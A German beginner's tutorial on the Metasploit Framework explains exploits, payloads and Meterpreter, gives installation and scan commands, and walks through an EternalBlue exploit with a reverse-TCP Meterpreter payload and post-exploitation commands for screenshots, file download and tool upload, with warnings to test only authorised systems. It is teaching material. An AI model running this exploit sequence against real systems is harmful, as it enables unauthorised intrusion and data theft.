Metasploit
Das Metasploit Framework ist ein kostenloses Open-Source-Tool, das seit 2003 von Sicherheitsexperten weltweit eingesetzt wird. Es ermöglicht das systematische Testen von Computersystemen auf Schwachstellen und ist auch für Einsteiger in den Bereich interessant.
Das Framework enthält verschiedene Komponenten: Exploits zum Ausnutzen von Schwachstellen, Payloads für die Ausführung von Code auf Zielsystemen, Scanner zum Aufspüren von Schwachstellen und viele weitere Hilfsmittel.
Grundlegende Konzepte
Exploits
Ein Exploit ist ein Programm oder Code, das eine spezifische Schwachstelle in einem System ausnutzt. Beispiel: eine Tür hat einen defekten Türgriff – ein Exploit wäre die Technik, diesen Defekt zu nutzen, um die Tür zu öffnen. In Metasploit sind Exploits nach Kategorien organisiert: Windows-Exploits, Linux-Exploits, Web-Anwendungen usw.
Payloads
Nachdem ein Exploit erfolgreich war, muss etwas auf dem Zielsystem ausgeführt werden. Hier kommen Payloads ins Spiel. Ein Payload ist der Code, der nach der erfolgreichen Ausnutzung einer Schwachstelle ausgeführt wird. Das kann eine einfache Kommandozeile sein, ein Backdoor-Zugang oder ein komplexes Programm.
Metasploit unterscheidet zwischen verschiedenen Payload-Typen:
- Singles: Kompakte, eigenständige Payloads
- Stagers: Kleine Programme, die größere Payloads nachladen
- Stages: Die eigentlichen, funktionsreichen Programme
Meterpreter
Meterpreter ist ein besonderer Payload und gleichzeitig das Herzstück von Metasploit. Es etabliert eine interaktive Verbindung zum kompromittierten System, ohne dabei Dateien auf der Festplatte zu hinterlassen. Meterpreter läuft komplett im Arbeitsspeicher und bietet zahlreiche Funktionen: Dateien herunterladen, Screenshots erstellen, weitere Systeme im Netzwerk erkunden oder Tastatureingaben mitschneiden.
Auxiliary-Module
Nicht jede Sicherheitsprüfung erfordert das Ausnutzen einer Schwachstelle. Auxiliary-Module sind Hilfsprogramme, die verschiedene Aufgaben erledigen: Netzwerk-Scanner, Passwort-Cracker, Fuzzer (Programme, die durch zufällige Eingaben Fehler provozieren) oder Informationssammler.
Post-Exploitation
Nach dem erfolgreichen Eindringen in ein System beginnt die Post-Exploitation-Phase. Hier werden weitere Informationen gesammelt, Zugriffsrechte erweitert, zusätzliche Systeme kompromittiert oder dauerhafte Zugänge etabliert. Metasploit bietet dafür spezielle Module.
Installation und erste Schritte
Installation
Ubuntu/Debian:
# System aktualisieren
sudo apt update
# Metasploit installieren
sudo apt install metasploit-framework
# Datenbank initialisieren
sudo msfdb init
macOS:
# Über Homebrew
brew install metasploit
# Datenbank initialisieren
msfdb init
Windows: Windows-Nutzer können das offizielle Installer-Paket von der Rapid7-Website herunterladen.
Erste Schritte in der Konsole
Nach der Installation startet die Metasploit-Konsole mit dem Befehl msfconsole. Diese textbasierte Oberfläche ist der Hauptzugang zu allen Funktionen.
# Metasploit-Konsole starten
msfconsole
# Hilfe anzeigen
help
# Nach Modulen suchen
search ms17-010
# Modul auswählen
use exploit/windows/smb/ms17_010_eternalblue
# Optionen anzeigen
show options
Praktisches Beispiel: Ein einfacher Scan
Beginnen wir mit einem ungefährlichen Beispiel – einem Netzwerk-Scanner:
# Auxiliary-Scanner verwenden
use auxiliary/scanner/portscan/tcp
# Ziel-IP festlegen (nur eigene Systeme!)
set RHOSTS 192.168.1.100
# Zu scannende Ports definieren
set PORTS 22,80,443,3389
# Scan starten
run
Dieser Scanner überprüft, welche Dienste auf dem Zielsystem laufen, ohne dabei Schäden zu verursachen.
Ein typischer Workflow
Ein typischer Penetration Test mit Metasploit folgt diesem Ablauf:
- Reconnaissance: Informationen über das Zielsystem sammeln
- Scanning: Offene Ports und Dienste identifizieren
- Exploitation: Schwachstellen ausnutzen
- Post-Exploitation: System erkunden und Zugriff erweitern
- Reporting: Ergebnisse dokumentieren
# 1. Netzwerk scannen
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
run
# 2. SMB-Versionen ermitteln
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
run
# 3. Exploit auswählen (beispielhaft)
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
exploit
Meterpreter in Aktion
Wenn ein Exploit erfolgreich war und eine Meterpreter-Session etabliert wurde, stehen verschiedene Befehle zur Verfügung:
# Systeminformationen abrufen
sysinfo
# Aktuelle Benutzerrechte prüfen
getuid
# Prozesse auflisten
ps
# Bildschirmfoto erstellen
screenshot
# Dateien herunterladen
download C:\\Users\\user\\Desktop\\important.txt
# Dateien hochladen
upload /tmp/tool.exe C:\\temp\\tool.exe
Sicherheit, Ethik und legale Hinweise
Metasploit ist ein mächtiges Werkzeug, das sowohl für defensive als auch offensive Zwecke eingesetzt werden kann. Wichtige Grundsätze:
- Nur auf eigenen Systemen oder mit schriftlicher Erlaubnis verwenden
- Testumgebungen von Produktionssystemen trennen
- Alle Aktivitäten dokumentieren
- Verantwortungsvoll mit gefundenen Schwachstellen umgehen
Fazit
Das Metasploit Framework bietet einen strukturierten Einstieg in die Welt des ethischen Hackings. Die modulare Architektur macht komplexe Sicherheitstests zugänglich, während die umfangreiche Dokumentation und Community-Ressourcen das Lernen unterstützen.
Für Einsteiger ist es entscheidend, zunächst die grundlegenden Konzepte zu verstehen und ausschließlich in kontrollierten Umgebungen zu experimentieren. Mit der richtigen Herangehensweise wird Metasploit zu einem wertvollen Werkzeug für das Verständnis von Cybersicherheit und die Verbesserung der eigenen Systemsicherheit.
Auf TryHackMe wird das Thema recht eingänglich erklärt. Dort hat man auch Zugriff auf virtuelle Maschinen, um Exploits, … zu testen, ohne Gefahr zu laufen, ein Produktivsystem aus Versehen zu zerstören.